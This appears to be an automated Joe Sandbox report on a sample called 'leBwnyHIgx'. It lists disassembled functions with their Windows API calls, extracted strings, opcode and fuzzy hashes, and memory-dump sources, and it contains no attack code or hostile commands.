API ID: Text$CriticalEnterExtentMetricsObjectPointReleaseSectionSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1334710084-222967699
Opcode ID: 958775d07e3e9b45620c2f21b6b018f80563130afb076ad44b94cc2abff4fe22
Instruction ID: 51f75fe6070d711ca219fc08ac8bc05be8c07b0fd7becc7a938aa07a23ceff98
Opcode Fuzzy Hash: 958775d07e3e9b45620c2f21b6b018f80563130afb076ad44b94cc2abff4fe22
Instruction Fuzzy Hash: 28016D76B14608AFDB01DBE9CD41EEEB7BDEB49714F500466BA00D3281DAB8AD10C764

Function 004083B0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 004083E9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 004083EF
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 0040840A
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 00408410

Strings

Runtime error at 00000000, xrefs: 004083E2, 00408427
Error, xrefs: 00408422

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 92e6fdd24f1f60eb182b72c0aadb941e414bd13305f3c1d9f226be0fde595ab1
Instruction ID: 8a17602c2e75a12023cfcc5c7f70c251d3057b547bf485000fb7f9983d30ebe3
Opcode Fuzzy Hash: 92e6fdd24f1f60eb182b72c0aadb941e414bd13305f3c1d9f226be0fde595ab1
Instruction Fuzzy Hash: 1AF046B0640341B9E720BB616D07F1A3A4D4740F26F00053FF550B93C2DEFA4A88836D

Function 0042CB08 Relevance: 9.1, APIs: 6, Instructions: 144COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0042CBBD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0042CBD9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0042CC12
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0042CC8F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0042CCA8
VariantCopy.OLEAUT32(?,?), ref: 0042CCE3

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction ID: b9c2064567b20e793381e804e5bc2438c092fd9c167849d7407d8daf0e01c371
Opcode Fuzzy Hash: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction Fuzzy Hash: 1951CA75A006299BCB22DB99D9C1BDDB3FCAF4C304F8041DAE509E7211D634AF858F69

Function 10012000 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001200D
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001201E
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012029
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?), ref: 10012053
?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 10012083

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?eback@?$basic_streambuf@Gndec@?$basic_streambuf@
String ID:
API String ID: 4206206407-0
Opcode ID: 9fc12d2fec2c330bd392a39c3e1c5fe0c8e6a097ec772b7a36a433fcf897c115
Instruction ID: ed5e708f9a507b4adfd911d3508ec20c212b5a391fedcf247e80062d61f76bb5
Opcode Fuzzy Hash: 9fc12d2fec2c330bd392a39c3e1c5fe0c8e6a097ec772b7a36a433fcf897c115
Instruction Fuzzy Hash: C531C5F9E00108BBDB04EFA4D89599D7BB6EF54244F008069F9069F242EB31EAD5CB95

Function 10004EE0 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,00000000), ref: 10004EF7
memset.VCRUNTIME140(?,00000000,?), ref: 10004F34
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 10004F51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 10004F69
memset.VCRUNTIME140(?,00000000,?), ref: 10004F97
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 10004FB5

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ByteCharMultiWide$memset
String ID:
API String ID: 1216362210-0
Opcode ID: b7bee2a040cd1640bfdf514d1c4ee8a6aa7dfffc560f49adb40942a3e1296025
Instruction ID: b6c0c3fe9f7a8ecbfd6a68903a988b9ee954c4047185b56f79f4f3260df6d144
Opcode Fuzzy Hash: b7bee2a040cd1640bfdf514d1c4ee8a6aa7dfffc560f49adb40942a3e1296025
Instruction Fuzzy Hash: 71312FB5E40208BFEB14DBD8CC86FAEB7B5EB48710F204254F615AB2C0D671AB408B55

Function 00646274 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00646290
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0064F22D,00000000,0064FB5F), ref: 006462BF
GetWindowLongW.USER32(?,000000EC), ref: 006462D4
SetWindowLongW.USER32(?,000000EC,00000000), ref: 006462FB
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 00646314
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 00646335

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 56e9fd127e5b8df3264884d8cb962e5cf8db3fc3bd665bacd5c80e76b0042ab2
Instruction ID: 4dd900cc12852a0d25872cc702cb4c4dd59defd6bf464013fc66fcb0f6f5a345
Opcode Fuzzy Hash: 56e9fd127e5b8df3264884d8cb962e5cf8db3fc3bd665bacd5c80e76b0042ab2
Instruction Fuzzy Hash: F0112E35344701BFCB00DB68DD91FD237E9AB1A355F0452A5F645DB3B2CAB8E8809B44

Function 00404850 Relevance: 9.1, APIs: 6, Instructions: 51fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00404872
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000), ref: 00404878
GetStdHandle.KERNEL32(000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 00404897
WriteFile.KERNEL32(00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 0040489D
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000,?), ref: 004048B4
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,004039C0,00000000,?,00000000,00000000,000000F4,?,00000000), ref: 004048BA

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandleWrite
String ID:
API String ID: 3320372497-0
Opcode ID: 4a542bbfe69cf2b8d6e1af26e7d435816e64742c81cc072ed4eb12002cc2b380
Instruction ID: 9db4a11d59ebcb307a3cfeeab30a2223b0d8a9ead0fdef3697f8df52dc81456b
Opcode Fuzzy Hash: 4a542bbfe69cf2b8d6e1af26e7d435816e64742c81cc072ed4eb12002cc2b380
Instruction Fuzzy Hash: 3C01A9E26053103EF610FB6A9D86F5B2ADC8B4576AF10463B7218F31D2C9389D44937E

Function 00403F88 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,0000001B,00404828,02453360,0040726E,0040760F,?,00000000,02453360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257), ref: 0040403F
Sleep.KERNEL32(0000000A,00000000,0000001B,00404828,02453360,0040726E,0040760F,?,00000000,02453360,004072DD,00000000,00000220,0042715C,?,004271AA), ref: 00404055
Sleep.KERNEL32(00000000,?,-00000004,0000001B,00404828,02453360,0040726E,0040760F,?,00000000,02453360,004072DD,00000000,00000220,0042715C), ref: 00404083
Sleep.KERNEL32(0000000A,00000000,?,-00000004,0000001B,00404828,02453360,0040726E,0040760F,?,00000000,02453360,004072DD,00000000,00000220,0042715C), ref: 00404099

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: aa65c037b8b16099025df41b79eb0bd70fabd568e44aaae4c7f43dd737f2b1a1
Instruction ID: f1ec43ae1c30d41b10cc41b48195bce38923192b9b407a0b5587fa379d4d1d3c
Opcode Fuzzy Hash: aa65c037b8b16099025df41b79eb0bd70fabd568e44aaae4c7f43dd737f2b1a1
Instruction Fuzzy Hash: 1FC136B2A002618FC715CF69E884316BFE5ABC5311F0882BFE555AB3D1C3B8DA41DB94

Function 00CE5DC7 Relevance: 9.0, APIs: 6, Instructions: 41synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,100185DC), ref: 00CE5DE1
GetLastError.KERNEL32 ref: 00CE5DEA
CloseHandle.KERNEL32(?), ref: 00CE5DFB
GetCurrentThread.KERNEL32 ref: 00CE5E13
WaitForSingleObject.KERNEL32(00000000), ref: 00CE5E1A
CreateThread.KERNEL32(00000000,00000000,1000B570,00000000,00000000,00000000), ref: 00CE5E2F

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThread$CloseCurrentErrorHandleLastMutexObjectSingleWait
String ID:
API String ID: 3416154964-0
Opcode ID: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction ID: 47696616b45df94fa155a4e1f942072f2906b2646584eae5d677752322e22ff4
Opcode Fuzzy Hash: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction Fuzzy Hash: 6E014F30A94758FBF791ABF08C8EB5D3A64EB08702F108450F70AAA1D0DAB4DB448B25

Function 00600B6C Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 239windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00600BE9
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00600C10
SetForegroundWindow.USER32(?), ref: 00600C21
DefWindowProcW.USER32(?,?,?,?,00000000,00600EE8,?,00000000,00600F26), ref: 00600ED3

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00600D5B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessagePostWindow$ForegroundProc
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 602442252-3182603685
Opcode ID: 3fce2995ff52617cc64c320909660141712ed5c555b9955e6d286241251052a9
Instruction ID: ab36fd57ef67da6a4d73ccec4cc41cbfff4955b2beb65bb6a2c22b7cd4e29d0d
Opcode Fuzzy Hash: 3fce2995ff52617cc64c320909660141712ed5c555b9955e6d286241251052a9
Instruction Fuzzy Hash: 65911134644204AFE719DF58CD61F9ABBBAEB89700F1584AAF804AB3E1C675AD40CF14

Function 00407BAA Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(?,00000000), ref: 00407C7E

Strings

X7@, xrefs: 00407CDA
(lB, xrefs: 00407C57
iB, xrefs: 00407BCB

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$X7@$iB
API String ID: 3192549508-2475287703
Opcode ID: 6e439ee28c1b6b67f9ec44174080eca639c9944c0a14d27f714a052d0cab6a9f
Instruction ID: 9b8732aad967581ee1cfddc98b064603106c7b26d23cb4f63de0fa6512a07937
Opcode Fuzzy Hash: 6e439ee28c1b6b67f9ec44174080eca639c9944c0a14d27f714a052d0cab6a9f
Instruction Fuzzy Hash: 3C417F71A0C2059FE720DF14D884B2BB7A5EF94314F15856AE549AB3D1C738FC82CB6A

Function 005F89FC Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AE7
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AF7

Strings

jd, xrefs: 005F8A28, 005F8A33
.tmp, xrefs: 005F8A9B
_iu, xrefs: 005F8A89

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu$jd
API String ID: 3498533004-1802150322
Opcode ID: a0223c2dfc578305c0dddc432aeb03b296bc242cc522b57ea9052b2c607b4f5e
Instruction ID: 3061496996edbf0f295552ba256b7f5cd8ef57c15fc1c95d12c7dd96c3447177
Opcode Fuzzy Hash: a0223c2dfc578305c0dddc432aeb03b296bc242cc522b57ea9052b2c607b4f5e
Instruction Fuzzy Hash: 9C31A430A4021DABDB10EBA5C846BEEBBB4FF45314F10417AF640B72D2DA786E059758

Function 005A3AB4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 103timethreadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005A3A28: GetCursorPos.USER32 ref: 005A3A2F

SetTimer.USER32(00000000,00000000,00000000,00000000), ref: 005A3B9F
GetCurrentThreadId.KERNEL32 ref: 005A3BD9
WaitMessage.USER32(00000000,005A3C1D,?,?,?,00000000), ref: 005A3BFD

Strings

$/Z, xrefs: 005A3AD6, 005A3AE0, 005A3B31, 005A3B59, 005A3B91, 005A3BB2, 005A3B65, 005A3B41, 005A3B44, 005A3AEC, 005A3AF5
D0f, xrefs: 005A3BDE

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentCursorMessageThreadTimerWait
String ID: $/Z$D0f
API String ID: 3909455694-26430867
Opcode ID: d78b845be59367d3e209cbd22b0e30c63a83b27645a5c60fd08de3d69e42f648
Instruction ID: e22e41007f1cd188d3129f5814c38c56834451e257cf5d477a750d23bbd2f832
Opcode Fuzzy Hash: d78b845be59367d3e209cbd22b0e30c63a83b27645a5c60fd08de3d69e42f648
Instruction Fuzzy Hash: F4415E30A04248EFDB51DFA8D896B9DBBF6FB46318F5584A9F804A7291C7B45F44CB20

Function 00650308 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 005A2A3C: SetWindowTextW.USER32(?,00000000), ref: 005A2A6D

ShowWindow.USER32(?,00000005,00000000,006505BC,?,?,00000000), ref: 0065034E

Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

Part of subcall function 00421594: SetCurrentDirectoryW.KERNEL32(00000000,?,00650376,00000000,00650583,?,?,00000005,00000000,006505BC,?,?,00000000), ref: 0042159F

